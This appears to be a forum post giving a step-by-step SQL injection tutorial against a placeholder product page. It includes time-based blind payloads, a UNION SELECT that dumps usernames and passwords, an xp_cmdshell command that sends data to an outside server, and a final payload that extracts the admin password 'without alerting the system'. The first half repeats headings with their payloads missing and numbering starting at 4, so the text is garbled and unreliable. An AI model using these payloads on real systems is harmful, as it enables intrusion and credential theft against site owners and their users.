11-11-2024, 09:28 AM
Initial Test for SQL Injection
Blind injection works by observing time delays based on conditions. Here’s how we can retrieve the database name character-by-character:
Start by checking the first letter of the database name:
4. Extract User Information with UNION-Based Injection
Once we know the database name, we can use a UNION attack to retrieve user data. Suppose the database has a table named users with columns username and password.
If successful, this will return a list of usernames and passwords from the users table on the page.
5. Out-of-Band Data Extraction
If xp_cmdshell (in SQL Server) or similar commands are available, we can use out-of-band techniques to extract data to an external server. For example, in MSSQL:
6. Final Payload for Complex Data Extraction
Combine UNION, conditional delays, and blind SQL injection to extract entire tables without alerting the system.
For example, extracting sensitive data with a payload like this:
- First, test if the id parameter is vulnerable by introducing a simple payload:
bash
http://example.com/product?id=5'
- If an error or unusual behavior appears, it indicates a potential SQL injection vulnerability.
- To confirm a blind SQL injection vulnerability, we can test with a time delay:
http://example.com/product?id=5 AND IF(1=1, SLEEP(5), 0)--
- If the page takes significantly longer to load, it confirms the vulnerability. We can now proceed to extract data by using conditional logic.
Blind injection works by observing time delays based on conditions. Here’s how we can retrieve the database name character-by-character:
Start by checking the first letter of the database name:
http://example.com/product?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
- If the response is delayed, it means the first character of the database name is a. If not, change a to b, c, etc., until you find the correct character.
- Repeat this process for each position to gradually determine the full name of the database.
4. Extract User Information with UNION-Based Injection
Once we know the database name, we can use a UNION attack to retrieve user data. Suppose the database has a table named users with columns username and password.
http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users--
5. Out-of-Band Data Extraction
If xp_cmdshell (in SQL Server) or similar commands are available, we can use out-of-band techniques to extract data to an external server. For example, in MSSQL:
http://example.com/product?id=5; EXEC xp_cmdshell('nslookup yourserver.com')--
6. Final Payload for Complex Data Extraction
Combine UNION, conditional delays, and blind SQL injection to extract entire tables without alerting the system.
For example, extracting sensitive data with a payload like this:
http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users WHERE username='admin' AND IF(ASCII(SUBSTRING(password,1,1))=109, SLEEP(5), 0)--